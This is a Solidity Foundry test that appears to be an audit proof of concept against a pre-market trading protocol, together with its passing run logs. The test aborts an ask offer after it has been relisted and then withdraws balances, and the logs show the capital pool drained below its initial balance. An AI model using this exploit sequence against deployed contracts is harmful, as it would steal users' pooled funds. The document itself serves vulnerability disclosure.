function testImproperStateChange() public {
uint256 initialCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console.log("User token balance before all:", mockUSDCToken.balanceOf(user));
console.log("User point token balance before all:", mockPointToken.balanceOf(user));
console.log("User point token balance before all:", mockUSDCToken.balanceOf(user));
console.log("User2 token balance before all:", mockUSDCToken.balanceOf(user2));
console.log("User2 point token balance before all:", mockPointToken.balanceOf(user2));
console.log("User3 token balance before all:", mockUSDCToken.balanceOf(user3));
console.log("User3 point token balance before all:", mockPointToken.balanceOf(user3));
console.log("--------------------");
console.log("Capital pool balance before all:", mockUSDCToken.balanceOf(address(capitalPool)));
console.log("Capital pool point token balance before all:", mockPointToken.balanceOf(address(capitalPool)));
console.log("Token manager balance before all:", mockUSDCToken.balanceOf(address(tokenManager)));
console.log("Token manager point token balance before all:", mockPointToken.balanceOf(address(tokenManager)));
console.log("--------------------");
vm.prank(user);
preMarkets.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 1e18, 15000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
address offerAddrUserTurbo = GenerateAddress.generateOfferAddress(0);
vm.prank(user2);
preMarkets.createTaker(offerAddrUserTurbo, 1000);
address stockAddrUser2Turbo = GenerateAddress.generateStockAddress(1);
vm.prank(user2);
preMarkets.listOffer(stockAddrUser2Turbo, 1e18, 15000);
address offerAddrUser2Turbo = GenerateAddress.generateOfferAddress(1);
vm.prank(user3);
preMarkets.createTaker(offerAddrUser2Turbo, 1000);
uint256 capitalPoolBalanceBeforeAbort = initialCapitalPoolBalance + 357e16;
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), capitalPoolBalanceBeforeAbort);
address stockAddrUserTurbo = GenerateAddress.generateStockAddress(0);
vm.prank(user);
preMarkets.abortAskOffer(stockAddrUserTurbo, offerAddrUserTurbo);
vm.prank(user1);
systemConfig.updateMarket("Backpack", address(mockPointToken), 1e18, block.timestamp - 1, 3600);
vm.prank(user1);
systemConfig.updateMarketPlaceStatus("Backpack", MarketPlaceStatus.AskSettling);
vm.prank(user);
vm.expectRevert(IDeliveryPlace.InvalidOfferStatus.selector);
deliveryPlace.settleAskMaker(offerAddrUserTurbo, 0);
vm.prank(user2);
deliveryPlace.settleAskMaker(offerAddrUser2Turbo, 0);
vm.prank(user3);
address stockAddr2User2Turbo = GenerateAddress.generateStockAddress(2);
deliveryPlace.closeBidTaker(stockAddr2User2Turbo);
console.log("--------------------");
console.log(
"Capital pool balance before malicious user withdraw:", mockUSDCToken.balanceOf(address(capitalPool))
);
console.log(
"Capital pool point token balance before malicious user withdraw:",
mockPointToken.balanceOf(address(capitalPool))
);
console.log(
"Token manager balance after before malicious user withdraw:",
mockUSDCToken.balanceOf(address(tokenManager))
);
console.log(
"Token manager point token balance before malicious user withdraw:",
mockPointToken.balanceOf(address(tokenManager))
);
console.log("--------------------");
console.log(
"User tax income",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User sales revenue",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User point token with point token address",
tokenManager.getUserAccountBalance(user, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User maker refund",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User remianing cash",
tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
console.log("--------------------");
console.log(
"User2 tax income",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User2 sales revenue",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User2 point token with point token address",
tokenManager.getUserAccountBalance(user2, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User2 maker refund",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User2 remianing cash",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
console.log("--------------------");
console.log(
"User3 tax income",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User3 sales revenue",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User3 point token with point token address",
tokenManager.getUserAccountBalance(user3, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User3 maker refund",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User3 remianing cash",
tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
uint256 maliciousUserProceedsFromAttack = tokenManager.getUserAccountBalance(
user, address(mockUSDCToken), TokenBalanceType.TaxIncome
) + tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
+ tokenManager.getUserAccountBalance(user, address(mockUSDCToken), TokenBalanceType.MakerRefund)
+ tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
+ tokenManager.getUserAccountBalance(user3, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(maliciousUserProceedsFromAttack, 406e16);
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
vm.startPrank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
vm.startPrank(user3);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
vm.stopPrank();
console.log("User point token balance after user withdraw:", mockPointToken.balanceOf(user));
console.log("User token balance after user withdraw:", mockUSDCToken.balanceOf(user));
console.log("User2 token balance after after user withdraw:", mockUSDCToken.balanceOf(user2));
console.log("User2 point token balance after user withdraw:", mockPointToken.balanceOf(user2));
console.log("User3 token balance after after user withdraw:", mockUSDCToken.balanceOf(user3));
console.log("User3 point token balance after user withdraw:", mockPointToken.balanceOf(user3));
console.log("--------------------");
console.log("Capital pool balance after user withdraw:", mockUSDCToken.balanceOf(address(capitalPool)));
console.log(
"Capital pool point token balance after user withdraw:", mockPointToken.balanceOf(address(capitalPool))
);
console.log("Token manager balance after after user withdraw:", mockUSDCToken.balanceOf(address(tokenManager)));
console.log(
"Token manager point token balance after user withdraw:", mockPointToken.balanceOf(address(tokenManager))
);
console.log("--------------------");
assertEq(maliciousUserProceedsFromAttack - 357e16, 490000000000000000);
}
Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] testImproperStateChange() (gas: 1703054)
Logs:
User token balance before all: 10000000000000000000000
User point token balance before all: 10000000000000000000000
User point token balance before all: 10000000000000000000000
User2 token balance before all: 10000000000000000000000
User2 point token balance before all: 10000000000000000000000
User3 token balance before all: 10000000000000000000000
User3 point token balance before all: 10000000000000000000000
--------------------
Capital pool balance before all: 10000000000000000000000
Capital pool point token balance before all: 0
Token manager balance before all: 0
Token manager point token balance before all: 0
--------------------
--------------------
Capital pool balance before malicious user withdraw: 10003570000000000000000
Capital pool point token balance before malicious user withdraw: 0
Token manager balance after before malicious user withdraw: 0
Token manager point token balance before malicious user withdraw: 0
--------------------
User tax income 60000000000000000
User sales revenue 1000000000000000000
User point token with point token address 0
User maker refund 500000000000000000
User remianing cash 0
--------------------
User2 tax income 0
User2 sales revenue 1000000000000000000
User2 point token with point token address 0
User2 maker refund 0
User2 remianing cash 0
--------------------
User3 tax income 0
User3 sales revenue 0
User3 point token with point token address 0
User3 maker refund 0
User3 remianing cash 1500000000000000000
User point token balance after user withdraw: 10000000000000000000000
User token balance after user withdraw: 10000060000000000000000
User2 token balance after after user withdraw: 9999965000000000000000
User2 point token balance after user withdraw: 10000000000000000000000
User3 token balance after after user withdraw: 10000465000000000000000
User3 point token balance after user withdraw: 10000000000000000000000
--------------------
Capital pool balance after user withdraw: 9999510000000000000000
Capital pool point token balance after user withdraw: 0
Token manager balance after after user withdraw: 0
Token manager point token balance after user withdraw: 0
--------------------
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.67ms (2.83ms CPU time)
Ran 1 test suite in 160.58ms (13.67ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)